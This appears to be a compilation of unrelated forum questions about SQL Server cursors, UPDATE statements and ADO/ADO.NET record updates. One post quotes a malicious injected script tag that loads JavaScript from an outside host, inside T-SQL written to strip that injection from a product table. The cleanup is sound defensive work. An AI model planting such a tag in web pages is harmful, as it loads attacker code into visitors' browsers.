Please tell me how to code the Update of the current cursor record as one would do using VD/ADO :
VB: Table("Fieldname") = Value
----------------------------------------------------------
Declare @NextNo integer
Select @NextNo = (Select NextNo from NextNumbers where NNId = 'AddressBook') + 1
--Create a Cursor through wich to lo loop and Update the ABAN8 with the corrrect NextNo
DECLARE Clone_Cursor CURSOR FOR Select ABAN8 from JDE_Train.trndta.F0101_Clone
Open Clone_Cursor
Fetch Next from Clone_Cursor
WHILE @@FETCH_STATUS = 0
BEGIN
Select @NextNo = @NextNo + 1
Clone_Cursor("ABAN8") = @NextNo
Update Clone_Cursor
FETCH NEXT FROM Clone_Cursor
END
Hi, I'm relatively inexperienced in sql, and am having trouble interpreting the behavior of a cursor in some code I have inherited. When there is a record in both the Filters and FilterElements tables, the fetch_status is 0. If there is a record in Filters, but no child record in FilterElements, the fetch_status is -1. Since the tables are joined with a RIGHT OUTER JOIN, even when there is no corresponding record in FilterElements, a record is returned (I have verified running the select in a query window). But when used in a cursor, the record is not fetched. The fetch_status is -1. Can anyone tell me why the fetch doesn't work in this case. Thanks ---- DECLARE @CreatedByUser nchar(100), @WorkflowIDs varchar(50); DECLARE @MyVariable CURSOR; SET @MyVariable = CURSOR FOR SELECT isnull(Filters.WorkflowIDs, ''), isnull(FilterElements.CreatedByUser, '')
FROM Filters RIGHT OUTER JOINFilterElements ON Filters.ItemID = FilterElements.FiltersItemID WHERE FiltersItemID = @FilterID; OPEN @MyVariable;FETCH NEXT FROM @MyVariable INTO @WorkflowIDs, @CreatedByUser;
I would like to 'one table' record to separate 'two or three tables' . I just know use the DTS , try to import and export again and agian. So trouble.
Could you give me some suggestions for me? For example , 'Cursor' write in new table . But I try to SQL Server Books Online which is not suitable for me solving problems. One table separate two or three tables. Can you wirte the detail example for me? Thx a lot.
I am trying to create package something like that..
1- New Customer table as OleDB source component 2- Lookup component - checks customer id with Dimension_Customer table 3- And if same customer exist : I have to update couple fields on Dimension_Customer table 4- if it does not exist then I have insert those records to Dimension_Customer table
I am able to move error output from lookup to Dimension_Customer table using oledb destination but How can I update the existing ones? I have tried to use oledb command but somehow it didnt work my sql was like this : update Dimension_Customer set per_X='Y', per_Y= &Opt(it should come from lookup)
I want to retrieve the last update time of database. Whenever any update or delete or insert happend to my database i want to store and retrieve that time.
I know one way is that i have to make a table that will store the datetime field and system trigger / trigger that can update this field record whenever any update insert or deletion occur in database.
But i don't know exactly how to do the coding for this?
I would like to get the results of a cursor into update statement but it fills only the last record of the cursor
this is the cursor:
Code: DECLARE @avg varchar(50) DECLARE @cur_avg CURSOR SET @cur_avg = CURSOR FOR select cast(avg(cast(reply as decimal(12,2))) as decimal(12,2)) from tbl_app_monitoring group by test_name, application_id
this is the update statement:
Code: OPEN @cur_avg FETCH @cur_avg INTO @avg WHILE (@@FETCH_STATUS = 0) BEGIN UPDATE tbl_app_monitoring_archive SET average = @avg FETCH @cur_avg INTO @avg END
is it also possible to do this without the cursor ?
I need to do something relatively simple…I need to update a table using a cursor. (I may have to create astored procedure for doing this…)I need to declare an update cursor, fetch the cursor and update thedata (and presumably close the cursor and de-allocate it…The update query is as follows… Would anyone there know how todeclare the cursor for update and use it?UPDATE ASET A.Field1 =(SELECT B.Field1FROM B INNER JOIN A ON A.id = B.id)I need to know how to declare the cursor and fetch it.Can anyone give me an example of the code I need for the SQL Server?Thanks!
I've implemented a UDF in SQL Server 2005 written in C#. The function with its assembly has been registered ok with SQL Server and works fine. It accepts three short strings (nvarchar of lengths 5, 35, and 35) and returns a SQL formatted string (SqlString).
When I run the function to test it it works just fine, and the same is true if I run the function inside a cursor to update a field in a table. But when I do a simple update it crashes. I've so far received two different errors: first one error saying a string could not be converted into an integer (but the error does not occur when I enter the same input values manually via a test Windows form, or through the new Query Analyzer as a single query - or using it inside a cursor). Then one error saying a string was too short (I couldn't use substring(X, Y) because the string, I was told, was too short - it wasn't).
The problem thus cannot be with the function since it works just fine if I do like this:
UPDATE myTable SET CodeField = dbo.fnMyFunction(Field1, Field2, Field3) WHERE PersonId = 10000001
And it works fine while doing the same thing inside a cursor (for instance working with the first 10, 100 or 1000 records).
But when I do this it crashes:
UPDATE myTable SET CodeField = dbo.fnMyFunction(Field1, Field2, Field3)
For your information the table has about 1.5M records (for testing, it contain more data when on the production server) and my aim is to update the CodeField column as quickly as possible. The CodeField is a 12-character string that is based on a rather complex algorithm including the Field1, Field2 and Field3 strings. I'm using C# because it manages strings much better than SQL Server - and it is so much easier coding this stuff.
Anyhow, I've had this kind of problem before with SQL Servers 2000 and 7 (maybe even 6.5) and it seems the problem occurs when I let SQL Server go about its business at its own pace. But when I do something to control that it really takes one record at a time (through using a cursor or executing the query with a WHERE clause like the one above) it works splendidly.
The problem here is that a cursor is way too slow, and there really shouldn't be a problem with a simple UPDATE command, should it? After all, everything works just fine except when I let SQL Server do what it does best (i.e. update the field at its own speed, whatever that is).
Any ideas? This is very frustrating since it is impossible to try and find the error - it isn't there when testing! And it is frustrating since I remember having had the same kind of problem (but every time with different errors arising) before without finding a solution (except for slowing everything down - not an option here).
Is there a certain tweak I can do to make things work out, or should I code things differently?
So I've created a bit of code to remove some virus garbage that's been plaguing some of my clients, but it seems since I've tried using a cursor to streamline the process a bit it's just filling in the fields with nulls.
Code:
use db7021 go
select * from products go
declare @desc varchar(max) declare @virus varchar(128) set @virus = '<script src="http://b.njnk.net/E/J.JS"></script>' declare @start int declare @end int declare thecursor CURSOR LOCAL SCROLL_LOCKS for select cdescription from products where cdescription like ('%' + @virus + '%') for update of cdescription
open thecursor fetch next from thecursor into @desc while @@FETCH_STATUS = 0 begin print @desc set @start = charindex(@virus, @desc) set @end = @start + len(@virus) print cast(@start as char) + ', ' + cast(@end as char) set @desc = left(@desc, @start - 1) + right(@desc, len(@desc)-@end+1) update products set cdescription = @desc where current of thecursor fetch next from thecursor into @desc end
I trimmed out alot of whitespace from the results for the sake of readability, but aside from that this is everything I've got. I know the string functions work since I tested them on their own, but since I've combined them with the cursor they've started producing NULLs.
Maybe I've missed something in the syntax for cursors?
DECLARE @id VARCHAR(10) DECLARE myCursor CURSOR LOCAL FAST_FORWARD FOR SELECT [ServersList] AS 'ID' FROM dbo.Servers
[code]...
How do loop a table server(serverlist,flag) table with these 2 columns.And ping each of the servers in the table and update the flag column to '1' if ping has been successfull or flag to '0' if ping has been unsuccessfull.
HI AllI have a process that I am trying to accomplish with one statement. Icannot think of any way to do it other than using a cursor.I was wondering if anyone could point me in the right direction.I want to update the Domain in Table A with the Domain in Table Bwhere A.Account = B.Account with the highest rank.----------------------------------Table A--------------------------------------------------------------------Account|Domain--------------------------------------------------------------------Micorsoft|null----------------------------------IBM|null-------------------------------------------------------------TAble B--------------------------------------------------------------------------------------------------------------------------Account|Domain|Rank--------------------------------------------------------------------------------------------------------------------------Micorsoft|microsoft.com|9-------------------------------------------------------------Micorsoft|yahoo.com|2-------------------------------------------------------------Micorsoft|hotmail.com|1Thanks!!!
When I run this update statement, it updates the proper badgenumbers but it only updates them to 1 when I did a count? As the data displays some of the results should be more than 1. Why did this occur?
Hello, I am trying to read in from a csv file which works like this:
DECLARE @doesExist INT DECLARE @fileName VARCHAR(200) SET @fileName = 'c:file.csv'
SET NOCOUNT ON
EXEC xp_fileexist "' + @fileName + '", @doesExist OUTPUT SET NOCOUNT OFF
IF @doesExist = 1
BEGIN BULK INSERT OrdersBulk FROM "' + @fileName + '" WITH ( FIELDTERMINATOR = ',', ROWTERMINATOR = '' ) END ELSE print('Error cant find file')
What I want to do is check another table before each line inserts, if the data already exists I want to do an UPDATE. I think i can do what i need with a cursor but I think the bulk update just pushes all the data up and will not allow me to put in the cursor. So is there a way i can read the csv in a cursor instead of using the bulk insert so i can examine each row?
UPDATE SCORESET QUAL_SCORE = ((SCORE - average_score)/deviation_score)*(-0.25) +((accuracy_score - accuracy_average_score)/accuracy_deviation_score)*0.25))WHERE SCORES.DISABLEMENT_ZIP = v_disablement_zipAND SCORES.EQPMNT_CODE = v_eqpmnt_code; is it possible to use this one query to update the QUAL_SCORE field without using cursor.if SCORE and deviation_score are 0, Then (SCORE - average_score)/deviation_score)*(-0.25) is 0,if accuracy_score and accuracy_deviation_score are 0, then (accuracy_score - accuracy_average_score)/accuracy_deviation_score)*0.25 is 0.
I am importing a text file that list invoice columns. The invoice detail table needs the line items to be listed with sequential numbers. I import the file to a temp table to do the work in and I know I need to have the cursor do loop through and count, however, I have no more hair to pull out.
I created an updateable partioned view of a very large table. Now I get an error when I attempt to declare a CURSOR that SELECTs from the view, and a FOR UPDATE argument is in the declaration.
There error generated is:
Server: Msg 16957, Level 16, State 4, Line 3
FOR UPDATE cannot be specified on a READ ONLY cursor
Here is the cursor declaration:
declare some_cursor CURSOR
for
select *
from part_view
FOR UPDATE
Any ideas, guys? Thanks in advance for knocking your head against this one.
PS: Since I tested the updateability of the view there are no issues with primary keys, uniqueness, or indexes missing. Also, unfortunately, the dreaded cursor is requried, so set based alternatives are not an option - it's from within Peoplesoft.
Hi everybody,I am using SQL Server 2005. I have a table which currently has only 1 record. I am unable to update any field for this particular record and SQL server is timing out and giving an error message saying No row was updated. I created another record in the table and tried to update the fields in the new record without any problem. I am unable to update any field only for the 1 record in the table using my application, query window sql statement as well as directly changing the in the database.Can anybody please help me.thanks in advance,Murthy here
I am in a situation in which I would like to update my one table three column with other table three column, The other table might have more then one record but I would like to have the TOP 1 record of that table for these column. How can I achive it. I know I will be able to achive by writing three statment like Update abc set a=(select top 1 a from xyz order by ), b=( select top 1 b from xyz) and so but not sure that a and b using the same record and thats the requirment of update is any help much apprecited
Hello,update table set column = x where b is nullI have the above update statement in a transact sql file. I would liketo change it so that it will only update 1 of the records in the table,even if there are many records where b is null....Any ideas would be great.Many thanks,Allan
HiI've a table with 2 columns, one for a client code and one for adate/time and could be more than one record with the same client codeand date/time. the 3rd column is another date/time, NULL by default.I need to check if exists records for a determinated client code anddate/time and place the current date/time in the 3rd column for just oneand only one record.Is this possible ? How ?Thanks in advanceJ
Hi I am new to visual studio and I am attempting to edit records held in mysql, the code below runs and throws no errors "strAdd" is underlined and says that it is used before it has been given a value! But If I debug.print(strAdd) I get the expected string returned. What do I need to do to get the updated records saved?
' code
Dim cn As ADODB.Connection Dim rs As ADODB.Recordset Dim StrAdd as string
cn = New ADODB.Connection cn.ConnectionString = "Provider=SQLNCLI;" _ & "Server=(local);" _ & "Database=customerlink;" _ & "Integrated Security=SSPI;" _ & "DataTypeCompatibility=80;" _ & "MARS Connection=True;" Dim mySQL As String
mySQL = "SELECT *" & _ " FROM tblvsol" & _ " Where RevStatus = " & 0 & _ " And GeoCodeStatus = " & 1
cn.Open()
rs = New ADODB.Recordset With rs .ActiveConnection = cn .CursorLocation = ADODB.CursorLocationEnum.adUseClient .CursorType = ADODB.CursorTypeEnum.adOpenDynamic .LockType = ADODB.LockTypeEnum.adLockBatchOptimistic .Open(mySQL) End With
Do While Not rs.EOF
Code here finds the value for the string variable €˜atrAdd€™
strAdd = New Value
If Not strAdd Is Nothing Then
rs.Fields("location").Value = strAdd rs.Fields("RevStatus").Value = 1 rs.Update() else end if
How do I tell an update query to do the update only to one row in the table, and if there s more than one row in the where clause, then not to do the update.
Something like this:
update top 1 set myCol='value' where searchCol='criteria'
I was stuck when update database using SqlDataAdapter. I have several textboxes in my webform1. When wepform1 is loaded, they will display user's information. The user can only input content in two textboxes. When user clicks the update button, I hope to update this record in SQL Server 2000 database. However, the program didn't work. There was no error message reported but when I stepped into the code, I found out that dataadapter's update method didn't succeed. I got 0 rows affected. Can I get some advice from someone ?
Here is the code:
string StrUpdateCmd = "Update Table1 Set Hphone = @Hphone, Cphone = @Cphone, Team = @Team Where emailname =@emailname ";
SqlDataAdapter UpdateDa = new SqlDataAdapter("Select * from Table1",SqlConnection1); UpdateDa.UpdateCommand = new SqlCommand(StrUpdateCmd, SqlConnection1);
//Update database int ret =UpdateDa.Update(dataset2,"Table1"); if( ret == 1 ) { ShowMessage("Update succeed!"); } else { ShowMessage("There is an error in updating "); }
Can anyone help with an effective way in retriving the id of the new record before input of any data into a form. We have a form where a few of the controls recordsource requires the new record id before they will display correctly. I have tried various ways to trigger the form afterupdate event in the hope that the id will be returned but get the error message "The data will be added to the database but the data won't be displayed in the form because it doesn't satisfy the criteria in the underlying recordsource"
